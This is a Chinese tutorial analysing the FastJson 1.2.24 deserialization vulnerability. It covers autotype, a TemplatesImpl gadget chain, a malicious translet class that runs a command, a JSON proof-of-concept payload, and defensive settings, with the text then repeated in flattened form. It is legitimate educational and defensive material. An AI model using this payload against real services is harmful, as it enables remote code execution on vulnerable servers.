FastJson安全初探-反序列化漏洞回顾分析
字数 1737 2025-08-25 22:58:55

FastJson反序列化漏洞深入分析与利用

一、FastJson简介

FastJson是阿里巴巴的开源JSON解析库,主要功能包括:

  • 解析JSON格式的字符串
  • 将Java Bean序列化为JSON字符串
  • 从JSON字符串反序列化到Java Bean

序列化基础

// 序列化示例
User a = new User();
String jsonstr_a = JSON.toJSONString(a);

自省与非自省序列化

非自省序列化:标准的JSON序列化,不包含类型信息

自省序列化:通过SerializerFeature.WriteClassName参数,在JSON中包含类型信息

// 自省序列化示例
String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName);
// 结果中包含@type字段:{"@type":"User","age1":"a1",...}

二、FastJson反序列化机制

反序列化方式

  1. 非自省反序列化
User b = JSON.parseObject(jsonstr_a, User.class);
  1. 自省反序列化
JSONObject b = JSON.parseObject(jsonstr_a);
// 或
Object b = JSON.parse(jsonstr_a);
  1. 支持私有字段反序列化
User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField);

反序列化时的调用规则

反序列化方式 调用的方法
parseObject(text, Class) 构造方法 + setter + 满足条件额外的getter
JSONObject parseObject(text) 构造方法 + setter + getter + 满足条件额外的getter
parse(text) 构造方法 + setter + 满足条件额外的getter

三、FastJson 1.2.24反序列化漏洞

漏洞原理

FastJson在1.2.22-1.2.24版本中存在反序列化漏洞,主要原因:

  1. 支持通过@type字段指定反序列化的目标类
  2. 反序列化时会自动调用对象的构造方法、setter和getter方法

利用方式

  1. JdbcRowSetImpl(JNDI)
  2. TemplatesImpl(Feature.SupportNonPublicField)

四、TemplatesImpl利用链分析

恶意类示例

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;

public class poc_1 extends AbstractTranslet {
    public poc_1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    // 必须实现的抽象方法
    public void transform(...) {...}
    public void transform(...) {...}
}

POC构造

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"恶意类字节码base64\"]," +
    "\"_name\":\"c.c\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}}";

JSON.parseObject(payload, Feature.SupportNonPublicField);

关键字段说明

  1. @type:指定反序列化目标类为TemplatesImpl
  2. _bytecodes:恶意类字节码(需Base64编码)
  3. _name:不能为null,否则直接return
  4. _tfactory:不能为null,否则会抛出异常
  5. _outputProperties:触发getOutputProperties方法调用链

漏洞触发流程

  1. FastJson解析JSON字符串,识别@type字段
  2. 加载并实例化TemplatesImpl
  3. 通过反射设置_bytecodes等字段
  4. 解析outputProperties时调用getOutputProperties方法
  5. getOutputProperties方法调用链:
    • getOutputProperties()
    • newTransformer()
    • getTransletInstance()
    • defineTransletClasses()(加载恶意字节码)
    • _class[_transletIndex].newInstance()(实例化恶意类)

五、漏洞利用关键点

  1. 字节码要求

    • 必须继承AbstractTranslet
    • 必须实现AbstractTranslet的抽象方法
    • 恶意代码可写在构造函数中
  2. FastJson特性利用

    • 必须使用Feature.SupportNonPublicField(因为_bytecodes是private字段)
    • 通过outputProperties触发getter调用链
  3. 环境要求

    • Java 8环境(因为利用了com.sun.org.apache.xalan.internal包)
    • FastJson 1.2.22-1.2.24版本

六、防御措施

  1. 升级FastJson到最新安全版本
  2. 关闭autotype功能:
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    
  3. 使用白名单机制:
    ParserConfig.getGlobalInstance().addAccept("com.example.safe.");
    
  4. 避免反序列化不可信的JSON数据

七、总结

FastJson反序列化漏洞的核心在于:

  1. 自省功能(@type)允许指定任意类进行反序列化
  2. 反序列化过程中自动调用getter/setter方法
  3. 结合Java特定类(TemplatesImpl)的方法调用链实现RCE

理解这一漏洞需要对FastJson的工作机制、Java反射机制和类加载机制有深入认识,才能有效防御此类漏洞。

FastJson反序列化漏洞深入分析与利用 一、FastJson简介 FastJson是阿里巴巴的开源JSON解析库,主要功能包括: 解析JSON格式的字符串 将Java Bean序列化为JSON字符串 从JSON字符串反序列化到Java Bean 序列化基础 自省与非自省序列化 非自省序列化 :标准的JSON序列化,不包含类型信息 自省序列化 :通过 SerializerFeature.WriteClassName 参数,在JSON中包含类型信息 二、FastJson反序列化机制 反序列化方式 非自省反序列化 : 自省反序列化 : 支持私有字段反序列化 : 反序列化时的调用规则 | 反序列化方式 | 调用的方法 | |-------------|-----------| | parseObject(text, Class) | 构造方法 + setter + 满足条件额外的getter | | JSONObject parseObject(text) | 构造方法 + setter + getter + 满足条件额外的getter | | parse(text) | 构造方法 + setter + 满足条件额外的getter | 三、FastJson 1.2.24反序列化漏洞 漏洞原理 FastJson在1.2.22-1.2.24版本中存在反序列化漏洞,主要原因: 支持通过 @type 字段指定反序列化的目标类 反序列化时会自动调用对象的构造方法、setter和getter方法 利用方式 JdbcRowSetImpl(JNDI) TemplatesImpl(Feature.SupportNonPublicField) 四、TemplatesImpl利用链分析 恶意类示例 POC构造 关键字段说明 @type :指定反序列化目标类为 TemplatesImpl _bytecodes :恶意类字节码(需Base64编码) _name :不能为null,否则直接return _tfactory :不能为null,否则会抛出异常 _outputProperties :触发getOutputProperties方法调用链 漏洞触发流程 FastJson解析JSON字符串,识别 @type 字段 加载并实例化 TemplatesImpl 类 通过反射设置 _bytecodes 等字段 解析 outputProperties 时调用getOutputProperties方法 getOutputProperties方法调用链: getOutputProperties() newTransformer() getTransletInstance() defineTransletClasses() (加载恶意字节码) _class[_transletIndex].newInstance() (实例化恶意类) 五、漏洞利用关键点 字节码要求 : 必须继承 AbstractTranslet 必须实现 AbstractTranslet 的抽象方法 恶意代码可写在构造函数中 FastJson特性利用 : 必须使用 Feature.SupportNonPublicField (因为 _bytecodes 是private字段) 通过 outputProperties 触发getter调用链 环境要求 : Java 8环境(因为利用了 com.sun.org.apache.xalan.internal 包) FastJson 1.2.22-1.2.24版本 六、防御措施 升级FastJson到最新安全版本 关闭 autotype 功能: 使用白名单机制: 避免反序列化不可信的JSON数据 七、总结 FastJson反序列化漏洞的核心在于: 自省功能( @type )允许指定任意类进行反序列化 反序列化过程中自动调用getter/setter方法 结合Java特定类( TemplatesImpl )的方法调用链实现RCE 理解这一漏洞需要对FastJson的工作机制、Java反射机制和类加载机制有深入认识,才能有效防御此类漏洞。